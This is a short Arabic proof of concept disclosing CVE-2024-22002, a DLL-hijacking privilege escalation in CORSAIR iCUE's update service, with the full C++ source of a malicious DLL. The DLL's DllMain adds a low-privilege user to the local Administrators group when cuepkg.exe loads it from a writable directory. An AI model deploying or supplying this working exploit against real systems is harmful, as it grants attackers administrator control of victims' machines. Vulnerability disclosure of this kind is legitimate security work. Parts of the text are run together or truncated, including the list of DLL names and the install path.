
دليل على المفهوم لثغرة تصعيد الامتيازات المحلية (CVE-2024-22002) في CORSAIR iCUE الإصدار v5.9.105 عبر اختطاف DLL أثناء عملية التحديث، مما يمكّن المستخدمين غير المصرح لهم من الحصول على امتيازات SYSTEM.
تم اكتشاف ثغرة اختطاف DLL (DLL Hijacking) في iCUE v5.9.105. تحدث هذه الثغرة أثناء عملية التحديث التي تديرها خدمة "iCUEUpdateService". تقوم الخدمة بإطلاق عملية ("cuepkg.exe") مسؤولة عن تنفيذ التحديث، وتعمل بصلاحيات "NT AUTHORITY\SYSTEM". عند بدء العملية، تبحث عن العديد من ملفات DLL في الدليل \cuepkg-1.2.6 الموجود داخل دليل تثبيت iCUE. بعض هذه الملفات غير موجودة افتراضيًا، ولكن نظرًا لأن المستخدم العادي لديه صلاحيات لإنشاء ملفات في هذا الدليل، يمكن للمهاجم إدخال ملف DLL ضار إلى الدليل. وبالتالي، سيتم تحميل ملف DLL الضار بواسطة cuepkg.exe بصلاحيات مدير (Administrator).
ملفات DLL المتأثرة التي تم اكتشافها هي:
MSASN1.dllNTASN1.dllprofapi.dllمتجه CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
كمثال، سيتم استخدام ملف DLL profapi.dll.
%INSTALLDIR%cuepkg-1.2.6.صلاحيات المستخدم lowpriv قبل تنفيذ ملف DLL الضار:

صلاحيات المستخدم lowpriv بعد تنفيذ ملف DLL الضار:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}